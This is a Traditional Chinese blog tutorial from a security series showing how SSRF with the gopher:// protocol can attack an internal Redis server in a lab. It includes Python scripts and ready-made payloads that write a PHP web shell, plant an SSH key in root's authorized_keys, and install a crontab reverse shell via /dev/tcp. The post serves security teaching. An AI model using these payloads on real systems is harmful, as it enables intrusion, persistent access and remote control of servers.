iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 12
1
Security

資訊安全的美味雜炊系列 第 12

[Day12] - SSRF(Server-Side Request Forgery)(2)

  • 分享至 

  • xImage
  •  

Day12 - SSRF(Server-Side Request Forgery)(2)

前言

  • 昨天休息寫了一下Burp Sutie怎麼用,繼續接續SSRF的進階的利用

進階利用

  • 在SSRF(1)的時候有提到一個gopher://協議,可以利用這個協議配合Redis來做到Remote Controll Execute
    • 常見手法如下(基本上就是持久化那台靶機)
      • 寫web-shell
      • 把ssh公鑰寫入
      • 把shell寫到Crontab執行

Redis

  • 這是甚麼?
    • 是一個in-memory的key-value database
    • 在常常要對資料庫多次查詢的情況下,會造成資料庫負擔過大,因此有了Redis的存在
    • 如果有對電腦硬體有一點概念的,Redis扮演的就是Cache的存在
      • 在常常要被進行存取的資料,我們可以放到Redis進行存取,加速使用者的查詢速度,降低對資料庫的負擔
  • 簡單的範例
    • 剛剛有提到,Redis是key-value的對應,最簡單的就是設定key的值多少,有需要就使用GET拿取資料
SET mykey "Hello"
GET mykey
"Hello"

Redis的語法架構

  • redis會將使用者輸入的語法,轉成RESP(REdis Serialization Protocol)
    • 在RESP中,數據的type是用第一個符號做判斷,各種type的樣子如下
type symbol
Simple Strings +
Error -
Integer :
Bulk Strings $
Array *
  • 看一個範例

    set name test
    get name
    
  • 我們看一下封包的樣子

    • *3,代表陣列長度為3,$3, $4代表字串長度,0d0a代表結尾\r\n+OK代表傳輸成功
*3
$3
set
$4
name
$4
test
+OK

SSRF搭配gopher,進行RCE

  • gopher://是在HTTP之前的協議,雖然現在用的很少

  • 加上gophar,利用協議可以打內網redis, ftp等等

    • 可偽造任何的tcp協議,很好用
  • 流程

    • 構造redis-command => 轉成RESP的格式 => 丟到送出gophar://

搭配SSRF(1)的Lab,試試按RCE

  • 我們來模擬Redis環境的狀況,在靶機上裝Redis
docker 
docker ps # 查詢該個container的編號
docker exec -it [ssrf-lab/basics container] /bin/bash # 進入container的bash
apt install redis-server # 安裝redis
redis-server #啟動redis server

手法1,寫web-shell

Payload

  • 構造web-shell payload
  • gophar可以在未授權的情況下,access到Redis的server
    • 不過需要換成RESP協議的格式,也就是$, *...構成的格式
    • 在網頁根目錄寫下Web shell
flushall
set 1 '<?php ($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
  • 有個python script能把Redis-cli語法轉成RESP協議的樣子,很香
    import urllib.parse
    
    # 參考自: https://xz.aliyun.com/t/5665#toc-0
    protocol="gopher://"
    ip="127.0.0.1"
    port="6379"
    shell="\n\n<?php system($_GET[\"cmd\"]);?>\n\n"
    filename="shell.php"
    path="/var/www/html"
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(shell.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    
    def redis_format(arr):
        CRLF="\r\n"
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.parse.quote(redis_format(x))
        print(payload)
    

感謝參考文章當中大大提供的payload

  • 搭配gophar://能變成以下這個形式
    • redis預設的port為6379
    • 於是可以組成以下的payload
    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
    
    • 恩,成功透過redis寫入web-shell囉

手法2,把自己public key寫到server

  • 構造redis-cli payload

    flushall
    set 1 '<your_public_key>'
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    save
    
  • code可以改成這樣

protocol="gopher://"
ip="127.0.0.1"
port="6379"
# filename="shell.php"
# path="/var/www/html"
path="/root/.ssh/"
filename="authorized_keys"
ssh_pub="<your_public_key>"
passwd=""
cmd=["flushall",
     "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(payload)
  • 透過工具進行轉換成RESP

  • 成功把public key寫入

因為有個人資訊,因此碼了部分code

手法3,把reverse-shell寫到Crontab中,定時回彈

:::warning
此手法只能用在Centos上,Ubuntu上會失敗
此Lab是用Ubuntu作為基底環境,因此我就不做示範,提供下方payload給各位參考
:::

  • 因為redis寫文件是644的權限

    • Ubuntu-crontab權限必須要600才能執行,否則會出現(root) INSECURE MODE (mode 0600 expected)
    • 不過Centos的crontab權限是644
  • redis-cli payload

    flushall
    set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/<ip>/<port> 0>&1\n\n'
    config set dir /var/spool/cron/
    config set dbfilename root
    save
    
  • 轉成RESP code

    protocol="gopher://"
    reverse_ip="<your_rev_ip>"
    reverse_port="<your_listen_port>"
    cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
    filename="root"
    path="/var/spool/cron"
    
    cmd=["flushall",
         "set 1 {}".format(cron.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    
    def redis_format(arr):
        CRLF="\r\n"
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.parse.quote(redis_format(x))
        print(payload)
    

gophar懶人工具包

更詳盡的SSRF to RCE payload

https://github.com/w181496/Web-CTF-Cheatsheet#ssrf

ref


上一篇
[Day11] - 累了,先用工具擋一下
下一篇
[Day13] - SSTI (Server-side template injection)
系列文
資訊安全的美味雜炊30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言